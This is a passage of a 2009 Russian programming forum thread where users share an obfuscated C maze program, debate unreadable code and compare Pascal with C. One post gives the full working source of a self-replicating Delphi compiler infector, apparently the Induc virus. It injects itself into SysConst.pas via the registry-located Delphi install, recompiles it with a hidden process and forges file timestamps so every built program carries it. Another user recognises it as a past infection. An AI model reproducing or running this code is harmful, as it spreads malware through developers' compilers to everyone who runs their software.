Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Клуб программистов > Свободное общение
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 16.10.2009, 16:53   #61
Serge_Bliznykov
Старожил
 
Регистрация: 09.01.2008
Сообщений: 26,229
По умолчанию

Цитата:
Ээээ... G++?
доступ к гуглу перекрыли?
search result
или вот - G++ - Wikipedia, the free encyclopedia

p.s. говорят под VC тоже компилится... и даже работает...


а вот ещё одна программка.
Рисует лабиринт. При каждом запуске - разный...
MAZE.C
Код:
int a[1817];main(z,p,q,r){for(p=80;q+p-80;p-=2*a[p])for(z=9;z--;)q=3&(
r=time(0)+r*57)/7,q=q?q-1?q-2?1-p%79?-1:0:p%79-77?1:0:p<1659?79:0:p>
158?-79:0,q?!a[p+q*2]?a[p+=a[p+=q]=q]=q:0:0;for(;q++-1817;)printf(q%79
?"%c":"%c\n"," #"[!a[q-1]]);}

Последний раз редактировалось Serge_Bliznykov; 16.10.2009 в 17:08.
Serge_Bliznykov вне форума Ответить с цитированием
Старый 16.10.2009, 19:13   #62
alexinspir
Новичок
Джуниор
 
Аватар для alexinspir
 
Регистрация: 26.08.2008
Сообщений: 1,010
По умолчанию

Цитата:
Сообщение от Alex Cones Посмотреть сообщение
Ээээ... G++?
в сочетании с этим:
Цитата:
Линукс это хорошо.
Убило...
ромик0: Cколько получают здешние модераторы?
pu4koff: У модераторов сдельная оплата труда. Выдал предупреждение - плюс к премии. Выдал бан - лучший модератор месяца со всеми вытекающими.
alexinspir вне форума Ответить с цитированием
Старый 16.10.2009, 19:17   #63
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Помоему все эти коды просто приколы. Я сомневаюсь что ктото так вот пишет:
Код:
nt a[1817];main(z,p,q,r){for(p=80;q+p-80;p-=2*a[p])for(z=9;z--;)q=3&(
r=time(0)+r*57)/7,q=q?q-1?q-2?1-p%79?-1:0:p%79-77?1:0:p<1659?79:0:p>
158?-79:0,q?!a[p+q*2]?a[p+=a[p+=q]=q]=q:0:0;for(;q++-1817;)printf(q%79
?"%c":"%c\n"," #"[!a[q-1]]);}
Скорее всего сначало это имело читабельную структуру, а потом "скомкали в кубик". Вот и всё....
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 16.10.2009, 19:31   #64
Serge_Bliznykov
Старожил
 
Регистрация: 09.01.2008
Сообщений: 26,229
По умолчанию

Вавел из ГМТУ, 100пудово... я тоже так думаю.
Однако попробуйте такую же муть замутить на Дельфи?
А на C, видите, возможно. Это всё из-за "гибучести" языка...
Serge_Bliznykov вне форума Ответить с цитированием
Старый 16.10.2009, 19:37   #65
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

А почемубы и нет?

Знакомо?

Код:
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS _INFORMATION;b:boolean;t1,t2,t3:FIL ETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+ }MoveFile(pchar(d+$dcu$),pchar(d+$b ak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.' ,
'wShowWindow:=SW_HIDE;b:=CreateProc ess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFI NITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d +$pas$));h:=CreateFile(pchar(d+$bak $),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\S ysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 16.10.2009, 19:38   #66
Arigato
Высокая репутация
СуперМодератор
 
Аватар для Arigato
 
Регистрация: 27.07.2008
Сообщений: 15,865
По умолчанию

Синтаксис Паскаля вообще более наглядный и читабельный, чем Си-подобный.
Arigato вне форума Ответить с цитированием
Старый 16.10.2009, 19:57   #67
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

Цитата:
Знакомо?
Мда... Не дай Бог еще раз увидеть у себя эту мерзость. Хорошо еще, что был bak.
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ
Alex Cones вне форума Ответить с цитированием
Старый 20.12.2009, 22:51   #68
Marsel737
Форумчанин
 
Аватар для Marsel737
 
Регистрация: 09.11.2009
Сообщений: 669
По умолчанию

Очень сильно удивляет тот факт что эта работа была сдана и более того, сдана на пять. К примеру мой препод не принял прогу в которой обращение к шести картинкам велось через массив примерно таким образом:

Код:
for i:=1 to 6 do
begin
  if fileexists('Picture/Point' + IntToStr(Index) + '/' + IntToStr(i) + '.jpg') then 
  begin
    ImageMas[i].Picture.LoadFromFile('Picture/Point' + IntToStr(Index) + '/' + IntToStr(i) + '.jpg');
  end else 
    Break;
end;
И было приказано сделать примерно так:

Код:
TImage(Components[i])....
Как выяснилось позже определять нужный индекс необходимо перебором всех индексов и вообще индексы нельзя упорядочить, поэтому сделал не через ткомпонент и не в массиве, а для вот так:

Код:
begin
  if fileexists('Picture/Point'+IntToStr(Index)+ '/1.jpg') then 
  begin
    Image1.Picture.LoadFromFile('Picture/Point'+IntToStr(Index)+ '/1.jpg');
  end;
  if fileexists('Picture/Point'+IntToStr(Index)+ '/2.jpg') then 
  begin
    Image2.Picture.LoadFromFile('Picture/Point'+IntToStr(Index)+ '/2.jpg');
  end;
  ....
Пока к этому участку кода притензий больше не возникает
Я не всегда знаю, о чем говорю, но знаю, что прав. © Мухаммед Али.
К чёрту обстоятельства. Я создаю возможности. © Брюс Ли

Последний раз редактировалось Marsel737; 20.12.2009 в 22:53.
Marsel737 вне форума Ответить с цитированием
Старый 21.12.2009, 08:16   #69
Utkin
Старожил
 
Аватар для Utkin
 
Регистрация: 04.02.2009
Сообщений: 17,351
По умолчанию

Цитата:
Сообщение от Marsel737 Посмотреть сообщение
И было приказано сделать примерно так:
Код:
TImage(Components[i])....
Чем это было мотивировано?
Маньяк-самоучка
Utkin появился в результате деления на нуль.
Осторожно! Альтернативная логика
Utkin вне форума Ответить с цитированием
Старый 21.12.2009, 08:40   #70
crazy horse
ios developer
Старожил
 
Аватар для crazy horse
 
Регистрация: 16.11.2007
Сообщений: 2,885
По умолчанию

Цитата:
Синтаксис Паскаля вообще более наглядный и читабельный, чем Си-подобный.
Мне кажется это то место, где опущена аббравеатура IMHO Это для Вас он более нагляден и читабелен. Для меня, к примеру - совершенно наоборот.
Делайте что хотите, но чтобы через полчаса в лесу было светло, сухо и медведь!
crazy horse вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
при в ходе на половину сайтов просит ввести код активации, получить который можно послав смс twichska Свободное общение 6 28.05.2009 23:09
Код игры на Паскале и на Делфи сильно отличается? Как переписать код с Паскаля в Делфи? Mclaren Помощь студентам 2 27.04.2009 22:37
Компонент, который может обрабатывать BB коды rpy3uH Компоненты Delphi 1 28.10.2008 21:25
запрос который бы подсчитывал количество полных лет начиная с того года который указан в данных мне базах PereCCC Помощь студентам 8 15.05.2008 16:24